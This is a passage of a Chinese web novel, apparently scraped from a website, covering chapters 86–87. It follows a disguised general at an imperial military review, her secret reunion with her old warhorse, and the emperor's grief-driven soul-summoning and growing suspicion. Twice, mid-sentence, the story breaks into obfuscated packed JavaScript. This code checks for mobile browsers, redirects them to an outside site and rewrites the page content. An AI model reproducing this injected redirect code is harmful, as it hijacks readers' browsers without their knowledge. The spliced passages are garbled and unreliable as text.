妻子手指在臂上袖箭机关处灵巧拨动,迅速重装箭矢。 新的一轮射击开始,又是六个全中。 连续八轮,只在最后两轮,大概力有不济,各漏了一个圆球。 叶荷停下休息,发现秦实的注视,抬眼望过来,展颜一笑:“实哥。” “练得很好。”秦实从窗口递过一杯水,“这把袖箭要时刻带着,睡觉都不离身。” “嗯。”叶荷应道,喝了水,歇了一会,又接着开始练习。 秦实手指紧紧扣住窗台,指节捏得发白,眸中各种情绪翻涌。 这把可连发六矢的精巧袖箭,是江湖中有名的暗器,他花重金购得,送给妻子,希望能给妻子多争得一线生机。 他做了万全的准备,可是……从过往的经历来看,他出手能改变一些事,却从未能成功改变一个人的生死。 即使他阻断了那人上辈子的死因,可总有其它千奇百怪的意外,使得那人丧命,且绝不会超过那人上辈子死去的时间。 就好像冥冥中有一只无形的手,把要逃脱的魂魄拉回黄泉。 是因为上天不许改命吗? 但铁骨军可以,而且改了许多许多,数不清人的命,那些本该在城破时、各路雄霸争斗时死去的,这辈子活了下来。 为什么他占尽先机,救不了一个人,铁骨军却可以呢? 是因为铁骨军太强大,上天也对抗不了吗? 强大—— 上辈子的铁骨军远没有这样强大,裴佑早跑得不见踪影,应匡在宣德二十四年,为吴朝尽忠而亡,而衡王…… 衡王是一切变化的源头,上辈子,没有出现过衡王这个人。 如今衡王已逝,纵他谋划十几年,又能避过今年的劫难吗? —— 演武前两天,兵部尚书应匡领着武成、裴佑、姜六航前往勤政殿面圣。 走到半路,迎面过来一个和尚。 此人约莫二十几岁,一颗光头锃光瓦亮,满面悲悯之色,僧袍飞扬,一派仙风道骨。 姜六航正好奇地看着,耳畔传来一声冷哼:“装模作样,装神弄鬼!”她侧头,只见裴佑唇角紧绷,眉宇间满是不屑与厌恶。 姜六航投去一个疑惑的眼神。 两人这些天友谊迅速增长,几乎无话不谈,裴佑凑到姜六航耳边,低声道:“这秃驴法号悟尘,夸说有通灵招魂之能,皇上深信不疑,几乎日日召见。最可恨的是,秃驴说什么对衡王了解越多,招魂把握越大,皇上真信了这鬼话,允他四处打探衡王旧事,还下旨,不论秃驴问到何人,只要不涉机密,必须知无不言。” 姜六航:“……” 悟尘行至近前,停下脚步,双手合十,对着四人稽首。 应匡看了看同行的人,武成侧着头,遥望远方,裴佑和姜六航脑袋挨在一起,不知在说着什么,都没有搭话的意思。无奈,他只得一个人招呼道:“大师近来可好?” 只是一句客套话,不想面前的人陡然容光焕发,脸孔都发起亮来:“谢应尚书关心,贫僧很好。” 裴佑悄悄道:“看他这精神头,不定憋着什么大招。” 姜六航:“有皇上看着,翻不起大浪。” 裴佑扯了扯嘴角:“皇上?在这事上就别指望他了。” 说话间,那边应匡已经应酬完,四人继续往勤政殿去。 在门口,应匡向迎出来的冯简说明来意:“我等前来禀报北郊演武筹备详情,烦请冯统领通传。” 冯简一顿,目光掠过众人,落在姜六航脸上。 姜六航:“……” 她怎么觉得,冯简有些迟疑,似乎……不愿让她进去? “请稍候。”冯简把他们带到外殿,让他们坐着等,自己进去殿内通报。 他往里走的脚步很沉重。 早朝时,姜指挥站得远,被人挡着,皇上瞧不清她。今天近距离相见,皇上会否更加受到刺激?如今已是隔三岔五要往胳膊上划一刀了。 四人在外面等了一会,冯简出来,传他们入内。 殿内,厚重的灰色窗帷严严实实地垂落着,将日光隔绝在外,显得有些昏暗。 姜六航走在裴佑后面,心中疑窦丛生。 但没时间多想了,很快到了御前。 随着应匡等人一同躬身行礼后,姜六航站立一旁。 武成、裴佑依次呈上各自参与演武的领队人名单,同时回答上座人的询问。 最后轮到姜六航。 自四人入殿觐见,秦信的目光便有意无意地绕开姜六航,未曾看她一眼,也未问她一句话。 此时,秦信视线才终于朝她扫来,却只在她身上停留了极短的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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刹那间,无数过往的画面在眼前飞舞。 和州太守府,大哥坐在昏暗的室内。 黑岩山,大哥背对夕阳,戴着帏帽,身体僵硬。 浓雾之中,军士带着她去见大哥,将要接近时,先熄灭了火把。 …… 大哥!那样强势、强大的大哥,如今却畏惧那一点点不能伤人的光亮。是因为爱,所以被轻易地伤害。 心口像被一只无形的手狠狠揉捏,尖锐的疼痛炸开。 怎么这么疼呢? 比那日金殿上更甚。 似乎要紧紧地抱住大哥,脸贴着他的皮肤,气息交裹,这样,疼痛才能减缓。 姜六航抬手按住胸口,紧咬牙,艰难地,一步步地,朝着远离勤政殿的方向行去。 殿内,四人身影消失,秦信挺直的肩背瞬间失力,重重靠进椅背。他抬手,用力抵住突跳的太阳穴。 冯简心提到嗓子眼,趋前一步:“皇上可是头疼?臣传太医?” “不必。”声音带着疲惫沙哑,手掌下移盖住眼睛,只露出没有血色的唇,“那个死囚,送到北郊安置好了?” “回皇上,昨日已秘密押送去了。” 殿内死寂,只闻压抑呼吸。 半晌,秦信缓缓坐直,移开盖眼的手掌,露出一双深不见底的凤眸。他望向窗口微弱的光线缝隙,声音喑哑:“命悟尘随行去北郊,让他做好准备,演武之后,”他顿了顿,字字从齿缝挤出,带着孤注一掷的疯狂,“朕要看他引魂。” 冯简心头猛跳,他深深低头,掩住神色:“是,臣遵旨。” —— 十一月二十五日,晨光初启,旌旗猎猎。 皇帝金辇在御林军森严护卫下缓缓驶出,文武百官跟随,庞大的队伍浩浩荡荡,前往京城北郊。 86. 第 86 章 青山脚下,演武场上。 步兵、骑兵、弓箭队、刀枪队……高喊着口号,一一从高台前走过,如同奔涌的洪流,脚下的土地都在微微震颤。 烟尘腾起,马蹄如雷,寒光闪烁。 秦信一身明黄衮服,立于高台中央,深邃凤目沉静地扫视着台下奔腾的军阵,重臣们屏息凝神,拱卫左右。 作为一个五品官,姜六航本没资格站在台上,但她是将要参加演武的三个领队之一,于是破格站在了众臣队伍的倒数第二个。 她不自觉往台中央看去,那人脊背挺直,脸上没有什么表情。 姜六航视线在他身上快速转了一圈,恐被他发觉,赶紧收回。 心口又在隐隐作痛。 那天殿门口,裴佑的那句话,这几天寻到一切空隙往她脑海里钻,搅得她坐卧不宁、寝食难安。一阵阵的愧疚、心疼几乎要将她淹没。 还有那日闻到的血腥气,也仿佛时刻萦绕在鼻间。她总觉得,有极不好的事发生。 她旁敲侧击探问过武成和裴佑,两人那天都未闻到什么气味。 但那血腥气确实存在,她不会弄错,只是极淡、极轻,若不是她自来五感极其敏锐,也闻不到。 方才见到大哥,她一直在偷偷观察。 行走无碍,举止也无凝滞,看不出受伤。难道,只是哪里划了一个小小的口子,渗出一点点血丝?她如此安慰着自己。 在她想着时,所有的军队都走过了一遍,重新集结到台前,山呼海啸般的呐喊炸响:“陛下圣安!陛下圣安!陛下圣安!” 秦信抬手:“诸将士辛苦!” 姜六航以为开幕式到此结束了,但台前的军士并未离场。 “咚——!咚——!咚——!”浑厚的鼓声骤然响起。 两长排巨大的战鼓排开,身材魁梧的军士们身着软甲,挥动鼓槌,狠狠砸下。每一声鼓点都仿佛敲在人的心坎上,激起满腔血性。 紧接着,万千军士齐声开口,雄浑的歌声响彻四野。 “铮铮铁骨,一往无前!护我百姓,卫我河山!” 台上许多人也跟着唱了起来。 是她亲手为铁骨军写下的军歌! 转头四顾,无数故人在目。 姜大人、武成、裴佑…… 隔着不远的那位户部侍郎,狠狠地抹了一下通红的眼眶。姜六航认得他,当年乱军围困其家乡县城,危在旦夕,是她率军赶去救援。后来他加入铁骨军,曾特意到她面前,郑重表示感谢。 她目光最终落回最中央的那人,他依旧面无表情,薄唇抿成一条冷硬的线。然而,姜六航清晰地看到,他握着匕首刀柄的手背爆出青筋,站立的姿势透着僵硬。 一股酸涩猛地冲上来,喉咙被堵住,哽咽难言。 他们,在怀念着她。 姜六航悄然攥紧拳头。 一定、一定!要战胜体内的毒性! 三遍军歌之后,演武正式开始。 不过此时已近午时,各项比斗要下午才进行。 “秦卿可有佳作?”随着那处的声音,人人都往队末瞧来。 秦实出列,在众人的注目之下,走到皇帝身边。 “玄甲曜日兮旌旗扬,金戈映空兮慑穹苍……愿以丹心,荐于庙堂,愿以碧血,沃此土疆……” 激昂的声音在场中回荡。 辞藻华丽,气势恢弘,姜六航听着,只觉热血沸腾,激起豪情万丈,仿佛又回到了那马踏连营的岁月。 —— 其后的三天半,分别进行了射箭、马术、格斗、阵法、夺旗五项比赛。每项比赛,按名次,分别得三支、两支、一支做了特殊标记的箭,五项比完,按所得的箭支数排名。 此时,三支军队的箭已经收集到一起,应匡亲自点数。 “北营,九支!” 率领北营的裴佑听到这个数字,面上闪过一丝遗憾。 “南营,十支!” 话音落下一瞬,御林军中有人激动地跳了起来,挥舞着手臂喊:“我们赢了!” “头名!我们是头名!”更有人喜不自胜,一把拦腰抱起身边的同袍,兴奋地转着圈,笑声和吼声混作一团。 姜六航脸上露出笑容。因为有些项目的比赛同时进行,她并不能及时知道消息,这时才得到确切结果。 御林军赢了! 但也有人茫然不解,郑大海满面困惑地问姜六航:“我们的数不是还没报吗?” 姜六航语音轻快地解释:“一共是三十支箭……” 应匡还是把第三个盘子里的箭数了一遍,抬头。 所有的人都静了下来。 “御林军,十一支!夺得演武头名!”应匡用上了内力,声音传遍全场,“明日巳时正,皇上将为头名颁下赏赐,明年三月,御林军将代表本国,在各国来使面前演武,展现国威!” “轰——!” 御林军中,欢呼声、议论声四起。 “小张,你今儿那箭,射得好!武统领那边的人射完后,我心都凉了,没想到你射得这样好,一箭未失!” “参加马术比赛的十个人也争气,拿了两支箭。” “说起来,阵法原是我们最弱的项,如今反倒成了最稳的。有姜指挥在,这三支箭,谁也抢不走。” “最后我们只比武统领那边多了一支箭,好险。要不是姜指挥来了……” 武成、裴佑两人走过来。 裴佑脸上带着爽朗的笑意,走到姜六航面前,拍了一下她的胳膊:“这样的喜事,你可得请我好好吃一顿。” “好!”姜六航一口应下,在心里算了算日子,道,“下月初三,醉客楼,如何?” “可否加我一个?”武成问。 姜六航:“欢迎之至。” “姜指挥的作战风格与之前相比,与衡王更相似了。” 对上武成眼里的探究,姜六航心中打鼓,总觉得套着的马甲摇摇欲坠,硬着头皮道:“我听从应尚书的指点,这些日子专注研究衡王的战术,看来有效果。” “你能学得衡王的战术,也是缘分。”武成说着话锋一转,“我和裴国公此刻正要去衡王墓祭拜,你去不去?” 姜六航很为难。 那墓距离这里不远,骑马三刻钟即可往返。前几日要比赛,没有空闲,许多人都相约今天完赛后去祭拜。 不想武成约到了她面前。 是在试探什么吗? 她不愿去。 她可不拜那墓。 “我还有些事,明天再去。” 武成只深望她一眼,没有勉强。 两人走后,姜六航正要回帐,姜大人不知从哪里走过来:“恒儿,我和你哥哥现在去衡王墓,你去不去?” 姜六航:“……我先休息一下,明天再去。” 姜子循想起女儿体弱,这几天只怕累着了,连忙道:“那你好好休息。”想了想,又叮嘱道,“你明天去了衡王墓,不要靠近旁边的房屋,和布着的招魂阵。” “房屋?” “那里面住着和尚道士,还有军士。”姜子循压低声音,满是无奈地道,“皇上素来圣明,唯独牵扯到衡王之事,有时……便不那么讲理了。你只记住,避开嫌疑,以免没招到衡王魂魄,被皇上迁怒。” 姜六航心中一时五味杂陈,垂下眼,应道:“好,我记住了。” —— 第二天,姜六航醒得很早。天才蒙蒙亮,她躺在床上,听着外面的风声,再无睡意。 昨夜混乱的梦境在脑海里回旋。 都是些和大哥相关的噩梦。 一会儿是他瞪着眼质问:“为什么要骗我?为什么要假死?”说着说着眼中流出血来。一会儿是他穿着道袍招魂,一阵风来,把他刮跑了。一会儿是他走在黑岩山那条连接两边悬崖的通道上,忽然脚下一滑,掉了下去…… 每一个画面都让姜六航惊悸不已。 她深吸一口气,从床上起身,轻手轻脚地穿衣洗漱,没有惊醒同在帐篷的三位女官。 走出帐篷,她吸着带着寒意的空气,冷气进入肺腑,却降不了心中的燥意。 她捏紧袖中的珠子,望向墓的方向。 那近旁,有招魂阵。 她想去看看。 不靠近,只远远地瞧一眼。 —— 与此同时,衡王墓前,赤云嗅了嗅冰冷的石碑和泥土,对这个陌生的土堆毫无反应。它烦躁地甩了甩头,鼻孔喷出两道白气。 秦信牵起它,往招魂阵的方向走去。 临近法阵,枯草在风中摇摆,残留的符纸碎片被风卷起,打着旋儿飘落,更添几分萧索凄凉。 “不必跟来。”秦信命令道。 冯简等人只得停在原地,远远地望着皇上牵着赤云绕着法阵转圈。 不知何时,一只鸟飞了过来,身子是信鸽的两个大,灰色的羽毛,在附近盘旋。 秦信皱了皱眉,脑中极快地闪过什么,却没抓住。 转了几圈后,秦信将缰绳交给马夫,沉声吩咐:“带它在外多走走,透透气。”赤云是战场上的老将,如今虽再上不得战场,骨子里的烈性犹存,拘着只会让它更加暴躁。 秦信离开后,一名年轻马夫牵着赤云,另两名马夫和一名内侍跟着,在招魂阵外围缓缓绕行。 “这马祖宗到底怎么回事?”年轻马夫抹了把冷汗,“都闹腾一个多月了,还不肯消停。再这么下去,咱们可要挨板子了!” “皇上之前不是没怪罪我们么?”另一个皮肤黝黑的马夫惴惴不安地问。 一个年纪稍大的马夫摇摇头,忧心忡忡:“先前是没怪罪,但一直这样就说不定了。皇上对赤云的看重,你们都是知道的。这次来北郊都不放心,把它带着。”他叹了口气,努力思索着,“赤云这样,究竟是从哪一天开始的?我们再好好想想,那天有什么异常……” 他说着,偶一转眼,看见身旁的高公公额头上一层汗珠,流下来,挂到稀疏的眉毛上,他惊道:“高公公,你怎么出这么多汗?” 高公公脸色有些发白,勉强挤出一个苦笑:“昨天不小心着了凉,身子有些发虚。” 黑皮肤马夫问:“请医士看了没有?” “看了看了,医士说没事,吃几副药就好。”高公公连连点头,慌忙指着前方盘旋的灰鸟,“咦,你们看,这哪里来的鸟?” “这什么鸟?我怎么没见过?” “它怎么围着这里转?” 眼见三人转移了注意力,高公公悄悄拿衣袖擦着额头的汗。 他现在真是又怕又悔! 恨不得回到一个多月前,撬开自己的嘴巴,在皇上问起赤云接触过何人时,如实回禀。 本觉得多一事不如少一事,况且他以为,赤云的发狂和姜指挥无关。可后来,谢尚书亲自来问,从那一日起,他便日夜都提着一颗心,唯恐哪一日御林军突然来抓他,治他欺君瞒上之罪。 几个马夫正对着那鸟指指点点,忽然,它一展翅膀,飞走了,眨眼间便消失在房屋之后。 就在同时,异变陡生! “嘶——!” 赤云猛地昂首,耳朵直直竖起,发出一声穿透云霄的嘶鸣,它突地发力,挣脱缰绳,朝着东边狂奔而去。年轻马夫猝不及防,被狠狠拽倒在地。 “赤云!!!”其余三人魂飞魄散,惊叫着拔腿就追。 年轻马夫也连滚带爬地起身追赶。 这马祖宗要是有个闪失,他们有几条命都不够赔的! 姜六航刚摘下一片熟悉的叶子,眼见四下无人,凑到嘴边吹了几声,便听见撕心裂肺的马鸣,紧接着,一道熟悉的、火炭般的身影挟着风雷之势向她狂冲而来! 飞扬的鬃毛如同燃烧的火焰,四蹄翻腾,踏起一路烟尘。 是赤云! 她战场上相伴五年,腥风血雨中一同闯过的伙伴! 这一瞬间,她脑中转过无数念头。 躲开?——躲不开。 边上有人吗? 身份会暴露吗? 然而,当赤云的头颅带着滚烫鼻息撞上她胳膊,几乎将她掀倒时,她眼眶发热,所有的念头都飞走了,张开双臂,抱住了它的脖颈。 “赤云,赤云。”她将脸埋进赤云的鬃毛里,一下下温柔地抚着它的背,“乖,没事了……” 赤云紧绷的脊背缓缓松弛下来,尾巴欢快地甩动。 一会后,姜六航抬头,看向气喘吁吁跑来的四人, 四人见赤云停在这里,大松了一口气,慌忙行礼:“大人!” 姜六航面上带着恰到好处的疑惑:“这马,是你们的?” “是是。”几个马夫直瞪着眼,惊奇地看着赤云温顺地依偎在她身边。 “这马真乖。”姜六航含笑揉了揉赤云的耳朵,赤云舒服地打了个响鼻,脑袋又往她肩上蹭了蹭。 年轻马夫还没回过神,愣愣地道:“在别人面前可凶得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064312|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,平日里除了皇上,谁的面子都不给。” “是吗?我自来就招动物喜欢。”姜六航手指抬起,点向后面的那个内侍。尽管他低着头,脸几乎埋进胸口,但那稀疏的眉毛,在他先前跑过来时,她早已看得清清楚楚,“那位公公,我上次去马场,你不是看到了吗?黑影也亲近我。” 高公公:“……” 他已经尽量躲起来,姜指挥眼睛怎么就那么利呢? 无法,他只得上前,陪着笑道:“是,姜指挥是有福气之人,它们都想沾沾您的福气。” 姜六航满意地点头。 幸好有这个人证,有黑影在前,赤云对她的亲昵就不是那样突兀了。也幸好在这几人过来之前,她已经迅速安抚住了赤云,否则,赤云见到她就失控,无论如何也解释不清。 三个马夫才听说还有黑影的事,年纪大的马夫道:“原来是这样。奴才有一次听在皇宫马场赛马的军爷们说,冯统领的一个同乡就是这样的,再烈的马在他手下也服服帖帖。可惜后来他被马荣所俘,坑杀了。” 听了高公公的解释,加上年长公公的佐证,另两个马夫很容易地接受了姜指挥天生得动物喜欢的说法。 “多谢大人拦住它。”年轻马夫上前,想接过缰绳:“大人,让奴才来吧。” 他的手刚碰到缰绳,赤云立刻前蹄扬起,作势欲踢。 姜六航拉着赤云往后退了退,不动声色地道:“左右我眼下无事,便带它走走吧。你们在此稍候。”她需要和赤云多相处一段时间,确保万一再次相遇,它不会太兴奋。 四人连忙答应。 大约半个时辰后,赤云兴奋的情绪基本平复,姜六航这才将缰绳交还给等候在一旁的马夫。 朝四人微微颔首,她转身离去。 赤云湿润的大眼睛紧紧追随着那渐行渐远的背影,不舍地甩了甩尾巴,最终低下头,发出一声呜咽。 —— 巳时正,几个获胜的御林军代表站在了高台上。 秦信向他们走过来,身后跟着一队内侍,手托金盘,里面放着折叠整齐的衣袍,面料在光线下流淌着华贵的光泽。 他走到冯简面前,拿起衣袍,展开。 刹那间,华光流溢。 是一件朱红为底的锦袍,其上用璀璨夺目的金线、银线并各色彩丝,绣着一头踏云而行的麒麟。那瑞兽昂首向天,栩栩如生,仿佛随时会破开云层,跃然而出。 旁边一个内侍接过,给冯简披在身上。 “臣谢皇上赐。”冯简躬身行礼。 秦信扶起他,勉励道:“望卿继续勤勉治军,训导将士,来年三月,展我国威。” “臣定当竭尽全力!” 秦信顺次走过来。 左卫将军、右卫将军…… 站在旁边的郑大海呼呼地喘着粗气,随着皇帝走近,这人气息越来越重,像拉动的风箱。姜六航听着,呼吸也渐渐发紧。 她为什么也会紧张呢? 从前相处最轻松的三个人,一个是今禾姐,一个是裴佑,一个就是大哥。在这三人面前,她所思所想,不管多么惊世骇俗,多么异想天开,都可以毫无心理负担地说出来。 如今重逢,和今禾姐、裴佑在一起时,虽然要隐瞒身份,可那轻松自如的感觉却是没变的。 而对着大哥,感觉却变了。 他一个细微的表情和动作,都会牵扯她的心。 会跳得厉害。 会疼。 会不知所措,想躲开,又想靠近。 明黄色的身影停在了她面前。 姜六航微垂着头,暗自深吸气。 没有血腥气,只有熟悉的浅淡的檀香。 提了几天的心终于稍稍放下。 内侍把锦袍披在了她身上,姜六航躬身道:“臣谢皇上赐。” “平身。”语音轻淡。 姜六航直起身,仍然微微低着头,半垂眼睫。 秦信视线在乌黑头顶定了一瞬,心中微诧。两次近前相见,女子皆直面以对,今日却为何有闪躲之态? 他淡淡移开视线:“姜指挥当助冯统领勤练军士。” “是。” 话音落下,那明黄身影即径直往前去了。姜六航稍稍抬眸,冷峻侧脸在眼前一闪而过。 姜六航拉了拉衣襟,把衣袍裹紧。 真好看,威武、贵气。 这是她第二次站在台上,接受大哥的嘉奖。 上次是一件护身皮甲。 秦信看内侍给憋气憋得脸色通红的指挥披上衣袍,余光里,不经意地瞥见那女子抚着衣袖,满面珍惜和欣喜。 那神情,好像…… 他恍惚了一下,不知为何,想起了当年。 也是在高台上,他亲手颁下赏赐…… 荒谬! 他是在不自觉地把六航的影子套在女子身上,竟因此产生错觉吗? 胸腔中翻滚着自厌,如潮水般一浪一浪地冲击,唯有自身的鲜血才能平息。他咬住舌尖,一股腥味在口中蔓延。 紧闭着唇,咽下腥甜,他走向下一位指挥。 颁奖完毕,演武正式结束。 秦修撰当场赋文一篇,皇帝看后,大加赞赏,命他诵读。 “……天子亲赐,勉以勤勉,期以来岁,扬我国威……煌煌天威,永镇山河……” 姜六航正听得认真,忽地察觉一股恶意袭来,她蓦地转目,朝其来处看去。 右侧,和姜大人、迟非晚、谢思礼等重臣在一处的裴祥光大人目光幽暗,盯着……不是盯着她,是盯着站在她前面正诵读赋文的秦修撰。 姜六航心脏猛地一跳,瞬间联想到了暗中护卫秦家三口的龙家高手。 裴祥光不知被她察觉,仍旧阴沉地盯着秦实。 这次演武,姜恒和秦实两个人,可谓大出风头。 姜恒倒罢了,再如何只是一个臣子。 可秦实…… 皇上大力抬举秦实,却打压裴家——儿子官降一级,这次来北郊,甚至连陪驾的资格都没有。 皇上,是不是在为秦家小儿铺路? 凭什么! 他裴家才是皇帝的根! 是靠着裴家的和州军,皇上才夺得这天下!凭什么,要把裴家的江山转送他人! —— 当日下午,百官返回京城,皇帝却未回京,留在了北郊。 两日之后,十二月初二,姜丞相五十寿诞,宾客盈门。 87. 第 87 章 姜丞相此前寿辰都未大办,只家里人小聚,今年却是广发请帖。 十二月初二这一日,前来姜府赴宴的马车排了半条街。 王院长带着钱万、姜持招待官员家眷,姜子循携着儿子和长女与众位官员应酬。 “姜丞相,恭喜恭喜,祝长寿百岁!” “姜丞相今年可是双喜临门啊,五十大寿,又寻回爱女,当大贺特贺!” “姜指挥可有意中的儿郎?” “……” 姜六航跟着走了一圈,脸都笑僵了。 再想不到,竟还有想给她做媒的。 意中的儿郎…… 脑中闪过一张俊美的脸—— 大哥。 此前,她一直把大哥当做亲哥哥,如今却感觉到了其中的差别。 对着姜守,心底是纯然的亲近,对着大哥,却是种种复杂的情绪混杂。 身处闹堂,姜六航的心却飞到了北郊。 大哥此时在干什么? 是不是像所有人想的那样,在为衡王招魂? 姜六航想起了那天做的梦。 大哥真的会穿上道袍,拿着把剑,跟在道士身后舞动吗? 闭了闭眼,她强行压下心绪。 此时不是思量这些的时候,需得专心对抗体内毒性。 等解毒后,再好好地理一理,她对大哥的感情。 众人正热烈交谈时,一队内侍在管家带领下进入,为首者大声唱喏:“圣旨到——!” 满堂霎时肃静,姜子循领着家人躬身听旨。 “奉天承运,皇帝诏曰:今值姜卿五十寿诞,朕心甚悦,特赐寿礼。赐:东海夜明珠一对,百年野山参一对……” 足足念了一刻钟,才把那赏赐的物件念完,内侍扶起姜子循,满面笑容,连声恭贺。 一件件价值非凡的宝物呈上来,厅堂里到处都是惊叹和议论声,投向姜丞相的目光,无不充满了羡慕。 到了入席的时间。 姜子循把几位贵客往上座请,裴佑道:“你们坐,我去别处坐。”说着走了。 裴祥光面色不虞,冷哼一声。 不知礼数。 这个女儿,是越来越不听话了,主意大得很,自己一点都管不了她。 众人不自觉地望着裴佑过去的方向,却见她在一桌旁停下,加了一把椅子,坐在姜恒旁边。 见此,应匡抚着长髯笑道:“裴国公和姜指挥倒是投缘。” “听说两人时常沙盘对局。”走在他旁边的迟非晚随口问道,“应尚书可知,她们胜负如何?” “起初两人胜负各半,如今十盘中,姜指挥可赢七八盘。” “姜指挥这样厉害?”迟非晚转着手腕上的玉镯,惊诧地问,“听说那次伏龙山闯关,她和应尚书对局是险胜,还凭了一点运气。如今十盘可赢裴国公七八盘,总不能是次次靠运气吧?” “当然不是。姜指挥这些天精研衡王作战之法,进益神速。”应匡感慨,“她在军事上的天赋之高,是衡王之下,我所见第一人。” 可惜不为皇上所喜,日后恐怕难展其才。 众人之后,谢思礼还在望着那桌的方向,武成顺着她的视线看过去。 “谢尚书也在怀疑吗?” “怀疑什么?”谢思礼收回视线。 “你问我?我就不信你没有疑心。” 谢思礼没有说话。 “我知道,没有确切证据,你不肯随便开口。但我不是查案的,不讲究这些,就直说了。”武成正色道,“谢尚书,你好好查查姜指挥。” 谢思礼暗暗捏紧袖中的手指:“她有什么问题?” “姜指挥的作战风格,和衡王太相似,像是衡王手把手教出来的。” “你疑心她……和衡王有关系?” “嗯。”武成点头,“我还觉得她根本没失忆,我不信,凭一点残留印象能闯过三关。” “像是,觉得,这些都没有根据。” “我说了,我不是查案的,证据要你去找。而且,你不要小看战场上经过生死之人的感觉。哦,对了,我还觉得……”武成顿了一下。 “觉得什么?” “觉得姜指挥很亲切。” 亲切吗?谢思礼抿了抿唇,脑海里闪过藏在柜里的调查报告。此时已经到了席前,她却没有发现,脚踏出去,撞到了椅子,身子一晃。 武成手疾眼快,扶住她,一抬眼,正好对上她的脸,惊道:“你脸怎么这么白?撞疼了?”可刚才撞得并不是很重啊。 众人都看过来,关心地问:“谢尚书,没事吧?” “陈院使在这儿,要不要让他看一下?” 谢思礼摆手:“没事。我是这几天忙了些,脸上才有些不好。” 众人确认她没伤着,这才纷纷入席坐下。 另一头,裴佑环住姜六航的肩膀,靠近她耳边道:“明天,没忘记吧?” “不敢忘。”姜六航无奈地道,“我明天准时在醉客楼,恭候你和武统领的大驾。” “多带点银子。” “好,包管让你吃饱、吃好。” —— 丞相府中热闹正酣,京城北郊却是另一番景象。 室内光线昏暗,气氛凝滞。 “抬头。”沉冷的声音响起。 跪伏在地的人依言抬头,不敢直面圣颜,眼睛往下垂着。 秦信审视着这张脸。 不像。 但这是死囚里看起来最顺眼的了,身体也十分康健。 “大师和你说清楚了吗?” “回皇上,说清楚了。” “那就开始吧。” 秦信朝站立一旁的悟尘示意,起身朝门口走去。 此前悟尘向他禀报,移魂时不能有其他人在场,恐气息干扰。且一两次无甚效果,需得进行几十次,甚至上百次。 出到屋外,秦信抬头望天。 厚厚的云层积压在天边,缓慢往这方移动。 今天会有一场大雨。 “冯简,你还记得衡王说,囚犯和俘虏也有人权吗?他定下规矩,不许私下虐待他们,不许残毁尸体……” “是,衡王仁厚。”冯简低声应道,“可皇上并没有亏待这人,他是自愿,好歹还能活着。” 秦信沉下眸子。 是的,死囚是自愿。 他怕六航知晓他伤害无辜性命,厌弃他。 他怕六航心怀愧疚,一生不安。 他怕自己变成裴永年那样肆意践踏他人性命、尊严的畜生。 所以即使厌恶,他还是用了犯下大恶的死囚。 但他直觉地知道,纵是死囚,六航也不会灭其魂魄。 什么罪行,就该受什么处罚,夏朝的历条刑法里,没有夺取魂魄这一条。 “皇上,现在往哪里去?” 见皇上久久立于原地,脸色晦暗不明,冯简心中不安,开口问道。 “去看看赤云。” 举步往马厩去,秦信问道:“赤云这几天都没发狂?” “没有。”冯简高兴地道,“三天了,都没事,兴许是好了。” 秦信捻着佛珠,眸中露出思索之色。 赤云突然莫名其妙地发狂,直折腾了一个多月,怎么都查不出原因,又突然莫名其妙地好了。 赤云性子骄傲,但从不胡乱发脾气。 既然查不出它为什么发狂,或许可以反过来,查查三天前,它为何突然平静下来。 临近马厩,便见一个年轻马夫正牵着赤云在外溜达。 一只灰鸟在附近盘旋,时而飞到赤云近旁,有一次甚至落到了它的头顶,赤云竟然由着它,没有理会。 秦信蹙眉,有什么在脑海深处探出了一丝线头,似乎只要再多出一点点,就能使力拽出来。 马夫发现了他们,慌忙行礼:“皇上。” 秦信命令他:“去把照看赤云的人都叫来。” 年轻马夫飞奔而去,一会后,三人跟在他身后过来。 秦信抬眼一扫,包括那年轻马夫在内,共有三个马夫,另有一个内侍。 他直入正题:“三天前,上月二十九日,赤云所用草料、饮水,和以往可有不同?可接触过什么以往没碰过的事物……” 话未说完,他发现那内侍面色陡然变得惨白,心中一动,盯住内侍,沉声道:“说!那天赤云接触过什么?” 内侍“扑通”一声跪倒,瘫软在地,哆哆嗦嗦半天没说出一个字。 三个马夫见此情状大惊,也都跪了下来。 他们什么都不知道,可千万别连累了他们! “还不说,要等着上刑吗?” 冰冷的语音从上压下,内侍汗出如浆,牙齿打着颤,结结巴巴道:“是、是、是赤云见到了姜指挥。” 赤云?姜指挥? 秦信瞳孔骤缩,他仿佛预感到了什么,一颗心在胸腔里激烈地撞击,一字字道:“说清楚。漏掉一点,朕要你脑袋。” 皇威之下,高公公哪敢再隐瞒,哆嗦着颠三倒四地道:“三天前赤云挣脱缰绳跑了,奴才们追到时,就见它正靠在姜指挥身边……还有,一个多月前,姜指挥走到赤云的马棚前,赤云突然发了狂,就是从那一天起,赤云一直焦躁,安抚不下来……黑影、黑影也亲近姜指挥,姜指挥说,她天生就招动物喜欢……” 秦信耳朵里嗡嗡作响,眼前一阵阵发黑。 “皇上?”冯简急唤。 皇上的神情那样可怖,面色扭曲,眸中隐隐透出红色,只骇得他心惊肉跳。皇上莫非怀疑,姜指挥是衡王?虽然他也震惊赤云的发狂是因姜指挥,但姜指挥怎么可能是衡王? “皇上,或许是姜指挥招动物喜 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秦信心脏狂跳,一把抽出冯简腰间的弓箭,抬臂,举弓。 他拉紧手,弓弦绷紧至极限,勒进指骨。 掌心出了一层薄汗。 他放开手指,“嗖——!”箭矢撕裂空气,发出刺耳的尖啸,笔直射去。 灰鸟惊觉,猛一展翅,箭擦着它的身子掠过。 “啾啾!”它发出一声短促的惊鸣,向上急冲,飞到了高空。 